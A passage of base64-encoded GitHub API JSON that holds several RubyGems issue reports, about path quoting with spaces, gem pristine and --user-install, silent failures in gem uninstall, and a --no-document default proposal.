zMS5naXRodWJ1c2VyY29udGVudC5jb20vdS81ODc1Nz92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdmFsayIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3ZhbGsiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92YWxrL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZhbGsvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdmFsay9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdmFsay9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZhbGsvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92YWxrL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZhbGsvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92YWxrL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92YWxrL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjoxMTIyMzAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3R5cGU6JTIwYnVnJTIwcmVwb3J0IiwibmFtZSI6InR5cGU6IGJ1ZyByZXBvcnQiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjoxLCJjcmVhdGVkX2F0IjoiMjAxNy0wNy0xMFQwNjo0Mjo0MloiLCJ1cGRhdGVkX2F0IjoiMjAxNy0wOC0yMFQxMzoyNToyNVoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik5PTkUiLCJib2R5IjoiSSBoYXZlIGEgcHJvamVjdCB0aGF0IGNvbnRhaW5zIGEgc3BhY2UgaW4gdGhlIG5hbWUuIFxyXG5cclxuTXkgY3VycmVudCBwcm9ibGVtIGlzOiBXaGVuIEknbSBhZGRpbmcgc2Fzc2MtcmFpbHMgZ2VtIHRvIHRoZSBHZW1maWxlLCB0aGUgX2J1bmRsZV8gZmFpbHMuXHJcblxyXG5UaGlzIGlzc3VlIGlzIHJlbGF0ZWQgdG86XHJcblxyXG4gIC0gW3ggXSBJbnN0YWxsaW5nIGEgbGlicmFyeVxyXG5cclxuSGVyZSBhcmUgbXkgY3VycmVudCBlbnZpcm9ubWVudCBkZXRhaWxzOlxyXG5cclxuYGBgXHJcbiQgZ2VtIGVudiB2ZXJzaW9uXHJcbiAgIDIuNi4xMlxyXG5gYGBcclxuXHJcbkkganVzdCBuZWVkIGEgaGVscCB0byBpbXBsZW1lbnQgdGhpcyBzb2x1dGlvbi4gVGhlIHByb2JsZW0gaXMgaW4gdGhpcyBmaWxlOlxyXG5cclxuYGBgXHJcbiAgZXh0L3Jha2VfYnVpbGRlci5yYlxyXG5gYGBcclxuXHJcbkZvciBzb21lIHJlYXNvbiBkZXN0X3BhdGggd2FzIGNvcnJlY3RseSBwdXQgaW4gZG91YmxlIHF1b3RlcyBsaWtlIHRoaXM6XHJcblxyXG5gYGBcclxuZGVzdF9wYXRoID0gJ1wiJyArIGRlc3RfcGF0aC50b19zICsgJ1wiJyBpZiBkZXN0X3BhdGgudG9fcy5pbmNsdWRlPygnICcpXHJcbmBgYFxyXG5Vbmxpa2UgcmFrZSdzIHBhdGguIFNvIHdoZW4gYGBgcmFrZWBgYCByZXNpZGVzIHVuZGVyIGBgYHZlbmRvcmBgYCBkaXJlY3RvcnksIHdlIG5lZWQgdG8gZG8gc29tZXRoaW5nIGxpa2UgdGhpczpcclxuXHJcbmBgYFxyXG4gICAgIyBEZWFsIHdpdGggcG9zc2libGUgc3BhY2VzIGluIHRoZSBwYXRoLCBlLmcuIEM6L1Byb2dyYW0gRmlsZXNcclxuICAgIGRlc3RfcGF0aCA9ICdcIicgKyBkZXN0X3BhdGgudG9fcyArICdcIicgaWYgZGVzdF9wYXRoLnRvX3MuaW5jbHVkZT8oJyAnKVxyXG4gICAgcmFrZV9wYXRoID0gR2VtLmJpbl9wYXRoKCdyYWtlJywgJ3Jha2UnKVxyXG4gICAgcmFrZV9wYXRoID0gJ1wiI3tyYWtlX3BhdGh9XCInIGlmIHJha2VfcGF0aC50b19zLmluY2x1ZGU/KCcgJylcclxuYGBgXHJcblxyXG5PbiBsaW5lIDE4IGluIHJha2VfYnVpbGRlci5yYi5cclxuXHJcbihBbHRlcm5hdGl2ZWx5LCBpZiBzb21lb25lIGNhbiBleHBsYWluIHdoeSBbQ09OVFJJQlVUSU5HXShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09OVFJJQlVUSU5HLnJkb2MpIGlzIG5vdCB3b3JraW5nIGZvciBtZSwgSSdsbCBiZSBhYmxlIHRvIGZpeCB0aGlzIGJ5IG15c2VsZiA6KSApXHJcblxyXG5cclxuXHJcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk2OCIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTY4L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTY4L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5NjgvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5NjgiLCJpZCI6MjQwNTIxOTc5LCJudW1iZXIiOjE5NjgsInRpdGxlIjoiZ2VtIHByaXN0aW5lIGRvZXNuJ3Qgc2VlbSB0byBhY2NvdW50IGZvciAtLXVzZXItaW5zdGFsbCIsInVzZXIiOnsibG9naW4iOiJtcGFsbWVyIiwiaWQiOjM1NywiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczIuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMzU3P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tcGFsbWVyIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vbXBhbG1lciIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYWxtZXIvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXBhbG1lci9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tcGFsbWVyL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tcGFsbWVyL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXBhbG1lci9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYWxtZXIvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXBhbG1lci9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYWxtZXIvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYWxtZXIvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNTUyNDc1MCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBmZWF0dXJlJTIwcmVxdWVzdCIsIm5hbWUiOiJ0eXBlOiBmZWF0dXJlIHJlcXVlc3QiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjo0LCJjcmVhdGVkX2F0IjoiMjAxNy0wNy0wNVQwMjoxNToxNFoiLCJ1cGRhdGVkX2F0IjoiMjAxNy0xMi0xMlQxMToyNDo1M1oiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik5PTkUiLCJib2R5IjoiSGF2aW5nIHNvbWVob3cgbWFuYWdlZCB0byBnZXQgYSBwaWxlIG9mIGV4dGVuc2lvbnMgbWlzY29tcGlsZWQsIEknbSBub3cgYmVpbmcgcHJvbXB0ZWQgdG8gcnVuIGBnZW0gcHJpc3RpbmUgPGdlbT4gLS12ZXJzaW9uIDxzb21ldGhpbmc+YCBmb3IgcmF0aGVyIGEgbG90IG9mIHRoaW5ncy4gIEhvd2V2ZXIsIGl0IGlzbid0IHdvcmtpbmcgc28gd2VsbDpcclxuXHJcbiAgICAkIGdlbSBwcmlzdGluZSB1bmljb3JuIC0tdmVyc2lvbiA1LjMuMFxyXG4gICAgRVJST1I6ICBXaGlsZSBleGVjdXRpbmcgZ2VtIC4uLiAoR2VtOjpGaWxlUGVybWlzc2lvbkVycm9yKVxyXG4gICAgICAgIFlvdSBkb24ndCBoYXZlIHdyaXRlIHBlcm1pc3Npb25zIGZvciB0aGUgL3Zhci9saWIvZ2Vtcy8yLjMuMCBkaXJlY3RvcnkuXHJcbiAgICAkIHN1ZG8gZ2VtIHByaXN0aW5lIHVuaWNvcm4gLS12ZXJzaW9uIDUuMy4wXHJcbiAgICBFUlJPUjogIFdoaWxlIGV4ZWN1dGluZyBnZW0gLi4uIChHZW06OkV4Y2VwdGlvbilcclxuICAgICAgICBGYWlsZWQgdG8gZmluZCBnZW1zIFtcInVuaWNvcm5cIl0gPSA1LjMuMFxyXG5cclxuSSBpbnN0YWxsIGFsbCBteSBnZW1zIHdpdGggYC0tdXNlci1pbnN0YWxsYCBieSBkZWZhdWx0IChteSBgfi8uZ2VtcmNgIGhhcyBgaW5zdGFsbDogLS11c2VyLWluc3RhbGxgKSwgc28gaXQncyBub3Qgc3VycHJpc2luZyB0aGF0IHJ1bm5pbmcgYGdlbSBwcmlzdGluZWAgYXMgYHJvb3RgIGdldHMgY29uZnVzZWQsIGhvd2V2ZXIgSSdtIHNvbWV3aGF0IHBlcnR1cmJlZCB0aGF0IHJ1bm5pbmcgYGdlbSBwcmlzdGluZWAgYXMgbWUgaXMgZXJyb3Jpbmcgb3V0LlxyXG5cclxuSWYgSSBleHBsaWNpdGx5IHNldCBgR0VNX0hPTUU9fi8uZ2VtYCBhbmQgdGhlbiBydW4gYGdlbSBwcmlzdGluZWAsIGV2ZXJ5dGhpbmcgc2VlbXMgdG8gd29yaywgYnV0IG15IHVuZGVyc3RhbmRpbmcgd2FzIHRoYXQgZG9pbmcgdGhhdCBpbiBnZW5lcmFsIHdhcyBjb25zaWRlcmVkIHBvb3IgZm9ybSwgYW5kIHRoYXQgYC0tdXNlci1pbnN0YWxsYCB3YXMgdGhlIHJlY29tbWVuZGVkIHNvbHV0aW9uLlxyXG5cclxuSGVyZSBhcmUgbXkgY3VycmVudCBlbnZpcm9ubWVudCBkZXRhaWxzOlxyXG5cclxuYGBgXHJcbiQgZ2VtIGVudlxyXG5SdWJ5R2VtcyBFbnZpcm9ubWVudDpcclxuICAtIFJVQllHRU1TIFZFUlNJT046IDIuNS4yXHJcbiAgLSBSVUJZIFZFUlNJT046IDIuMy4zICgyMDE2LTExLTIxIHBhdGNobGV2ZWwgMjIyKSBbeDg2XzY0LWxpbnV4LWdudV1cclxuICAtIElOU1RBTExBVElPTiBESVJFQ1RPUlk6IC92YXIvbGliL2dlbXMvMi4zLjBcclxuICAtIFVTRVIgSU5TVEFMTEFUSU9OIERJUkVDVE9SWTogL2hvbWUvbXBhbG1lci8uZ2VtL3J1YnkvMi4zLjBcclxuICAtIFJVQlkgRVhFQ1VUQUJMRTogL3Vzci9iaW4vcnVieTIuM1xyXG4gIC0gRVhFQ1VUQUJMRSBESVJFQ1RPUlk6IC91c3IvbG9jYWwvYmluXHJcbiAgLSBTUEVDIENBQ0hFIERJUkVDVE9SWTogL2hvbWUvbXBhbG1lci8uZ2VtL3NwZWNzXHJcbiAgLSBTWVNURU0gQ09ORklHVVJBVElPTiBESVJFQ1RPUlk6IC9ldGNcclxuICAtIFJVQllHRU1TIFBMQVRGT1JNUzpcclxuICAgIC0gcnVieVxyXG4gICAgLSB4ODZfNjQtbGludXhcclxuICAtIEdFTSBQQVRIUzpcclxuICAgICAtIC92YXIvbGliL2dlbXMvMi4zLjBcclxuICAgICAtIC9ob21lL21wYWxtZXIvLmdlbS9ydWJ5LzIuMy4wXHJcbiAgICAgLSAvdXNyL2xpYi94ODZfNjQtbGludXgtZ251L3J1YnlnZW1zLWludGVncmF0aW9uLzIuMy4wXHJcbiAgICAgLSAvdXNyL3NoYXJlL3J1YnlnZW1zLWludGVncmF0aW9uLzIuMy4wXHJcbiAgICAgLSAvdXNyL3NoYXJlL3J1YnlnZW1zLWludGVncmF0aW9uL2FsbFxyXG4gIC0gR0VNIENPTkZJR1VSQVRJT046XHJcbiAgICAgLSA6dXBkYXRlX3NvdXJjZXMgPT4gdHJ1ZVxyXG4gICAgIC0gOnZlcmJvc2UgPT4gdHJ1ZVxyXG4gICAgIC0gOmJhY2t0cmFjZSA9PiBmYWxzZVxyXG4gICAgIC0gOmJ1bGtfdGhyZXNob2xkID0+IDEwMDBcclxuICAgICAtIDpiZW5jaG1hcmsgPT4gZmFsc2VcclxuICAgICAtIDpzb3VyY2VzID0+IFtcImh0dHBzOi8vcnVieWdlbXMub3JnL1wiXVxyXG4gICAgIC0gXCJpbnN0YWxsXCIgPT4gXCItLXVzZXItaW5zdGFsbCAtLW5vLXJpIC0tbm8tcmRvYyAtLWVudi1zaGViYW5nXCJcclxuICAtIFJFTU9URSBTT1VSQ0VTOlxyXG4gICAgIC0gaHR0cHM6Ly9ydWJ5Z2Vtcy5vcmcvXHJcbiAgLSBTSEVMTCBQQVRIOlxyXG4gICAgIC0gL2hvbWUvbXBhbG1lci8uZ2VtL3J1YnkvMi4zLjAvYmluXHJcbltldGNdXHJcbiQgc3VkbyBnZW0gZW52XHJcblJ1YnlHZW1zIEVudmlyb25tZW50OlxyXG4gIC0gUlVCWUdFTVMgVkVSU0lPTjogMi41LjJcclxuICAtIFJVQlkgVkVSU0lPTjogMi4zLjMgKDIwMTYtMTEtMjEgcGF0Y2hsZXZlbCAyMjIpIFt4ODZfNjQtbGludXgtZ251XVxyXG4gIC0gSU5TVEFMTEFUSU9OIERJUkVDVE9SWTogL3Zhci9saWIvZ2Vtcy8yLjMuMFxyXG4gIC0gVVNFUiBJTlNUQUxMQVRJT04gRElSRUNUT1JZOiAvcm9vdC8uZ2VtL3J1YnkvMi4zLjBcclxuICAtIFJVQlkgRVhFQ1VUQUJMRTogL3Vzci9iaW4vcnVieTIuM1xyXG4gIC0gRVhFQ1VUQUJMRSBESVJFQ1RPUlk6IC91c3IvbG9jYWwvYmluXHJcbiAgLSBTUEVDIENBQ0hFIERJUkVDVE9SWTogL3Jvb3QvLmdlbS9zcGVjc1xyXG4gIC0gU1lTVEVNIENPTkZJR1VSQVRJT04gRElSRUNUT1JZOiAvZXRjXHJcbiAgLSBSVUJZR0VNUyBQTEFURk9STVM6XHJcbiAgICAtIHJ1YnlcclxuICAgIC0geDg2XzY0LWxpbnV4XHJcbiAgLSBHRU0gUEFUSFM6XHJcbiAgICAgLSAvdmFyL2xpYi9nZW1zLzIuMy4wXHJcbiAgICAgLSAvcm9vdC8uZ2VtL3J1YnkvMi4zLjBcclxuICAgICAtIC91c3IvbGliL3g4Nl82NC1saW51eC1nbnUvcnVieWdlbXMtaW50ZWdyYXRpb24vMi4zLjBcclxuICAgICAtIC91c3Ivc2hhcmUvcnVieWdlbXMtaW50ZWdyYXRpb24vMi4zLjBcclxuICAgICAtIC91c3Ivc2hhcmUvcnVieWdlbXMtaW50ZWdyYXRpb24vYWxsXHJcbiAgLSBHRU0gQ09ORklHVVJBVElPTjpcclxuICAgICAtIDp1cGRhdGVfc291cmNlcyA9PiB0cnVlXHJcbiAgICAgLSA6dmVyYm9zZSA9PiB0cnVlXHJcbiAgICAgLSA6YmFja3RyYWNlID0+IGZhbHNlXHJcbiAgICAgLSA6YnVsa190aHJlc2hvbGQgPT4gMTAwMFxyXG4gICAgIC0gOmJlbmNobWFyayA9PiBmYWxzZVxyXG4gICAgIC0gOnNvdXJjZXMgPT4gW1wiaHR0cDovL3J1YnlnZW1zLm9yZy9cIl1cclxuICAtIFJFTU9URSBTT1VSQ0VTOlxyXG4gICAgIC0gaHR0cDovL3J1YnlnZW1zLm9yZy9cclxuICAtIFNIRUxMIFBBVEg6XHJcbiAgICAgLSAvdXNyL2xvY2FsL3NiaW5cclxuICAgICAtIC91c3IvbG9jYWwvYmluXHJcbiAgICAgLSAvdXNyL3NiaW5cclxuICAgICAtIC91c3IvYmluXHJcbiAgICAgLSAvc2JpblxyXG4gICAgIC0gL2JpblxyXG5gYGBcclxuXHJcbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuXHJcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk2NyIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTY3L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTY3L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5NjcvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5NjciLCJpZCI6MjQwMDAwMzc3LCJudW1iZXIiOjE5NjcsInRpdGxlIjoiZ2VtIHVuaW5zdGFsbCBuZXZlciByZXBvcnRzIGVycm9ycyBldmVuIGlmIGl0IGZhaWxlZCB0byByZW1vdmUgZXhlY3V0YWJsZXMiLCJ1c2VyIjp7ImxvZ2luIjoidW5hayIsImlkIjoxNzc5MCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczIuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTc3OTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3VuYWsiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS91bmFrIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdW5hay9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy91bmFrL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3VuYWsvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3VuYWsvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy91bmFrL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdW5hay9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy91bmFrL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdW5hay9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdW5hay9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA1NTI0NzUwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGZlYXR1cmUlMjByZXF1ZXN0IiwibmFtZSI6InR5cGU6IGZlYXR1cmUgcmVxdWVzdCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjUsImNyZWF0ZWRfYXQiOiIyMDE3LTA3LTAyVDA5OjUwOjE5WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTA5LTA0VDEzOjUzOjI5WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiQ09OVFJJQlVUT1IiLCJib2R5IjoiU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9saWIvcnVieWdlbXMvdW5pbnN0YWxsZXIucmIjTDIxNi1MMjE3XHJcbkFzIHlvdSBrbm93IGBGaWxlVXRpbHMucm1fZmAgbmV2ZXIgcmFpc2VzIGFueSBleGNlcHRpb24gaWYgaXQgZmFpbHMgdG8gcmVtb3ZlIHRoZSBzcGVjaWZpZWQgZmlsZXMuXHJcblRoZW4gdXNlcnMgY2Fubm90IGtub3cgdGhlIGZpbGVzIGFyZSByZWFsbHkgcmVtb3ZlZCBvciBub3QsIGFuZCBhbHNvIGNhbm5vdCBrbm93IHdoeSB0aGUgcmVtb3ZhbCB3YXMgZmFpbGVkLlxyXG5cclxuVGhpcyBpc3N1ZSBpcyByZWxhdGVkIHRvOlxyXG5cclxuICAtIFsgXSBOZXR3b3JrIHByb2JsZW1zXHJcbiAgLSBbIF0gSW5zdGFsbGluZyBhIGxpYnJhcnlcclxuICAtIFsgXSBQdWJsaXNoaW5nIGEgbGlicmFyeVxyXG4gIC0gW3hdIFRoZSBjb21tYW5kIGxpbmUgYGdlbWBcclxuICAtIFsgXSBPdGhlclxyXG5cclxuSGVyZSBhcmUgbXkgY3VycmVudCBlbnZpcm9ubWVudCBkZXRhaWxzOlxyXG5cclxuYGBgXHJcbiQgZ2VtIGVudiB2ZXJzaW9uXHJcbjIuNi4xMlxyXG5gYGBcclxuKGJ1bmRsZWQgdmVyc2lvbiBvZiBNUkkgdHJ1bmspXHJcblxyXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLlxyXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5NjUiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk2NS9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk2NS9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTY1L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTY1IiwiaWQiOjIzOTk3ODIwNSwibnVtYmVyIjoxOTY1LCJ0aXRsZSI6IlN1Z2dlc3Rpb246IG1ha2UgLS1uby1kb2N1bWVudCB0aGUgZGVmYXVsdCIsInVzZXIiOnsibG9naW4iOiJhbGV4LXRhbiIsImlkIjoxODQxMzI4LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMi5naXRodWJ1c2VyY29udGVudC5jb20vdS8xODQxMzI4P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbGV4LXRhbiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2FsZXgtdGFuIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWxleC10YW4vZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWxleC10YW4vZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWxleC10YW4vZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FsZXgtdGFuL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWxleC10YW4vc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbGV4LXRhbi9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbGV4LXRhbi9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FsZXgtdGFuL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbGV4LXRhbi9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIs